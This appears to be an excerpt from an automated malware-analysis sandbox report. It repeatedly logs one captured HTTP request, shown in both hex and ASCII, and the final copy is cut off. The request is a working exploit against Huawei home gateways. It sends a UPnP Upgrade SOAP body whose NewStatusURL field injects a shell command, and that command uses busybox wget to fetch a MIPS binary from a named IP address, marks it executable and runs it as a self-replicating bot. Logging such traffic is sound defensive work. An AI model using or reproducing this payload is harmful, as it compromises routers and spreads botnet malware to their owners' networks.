53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 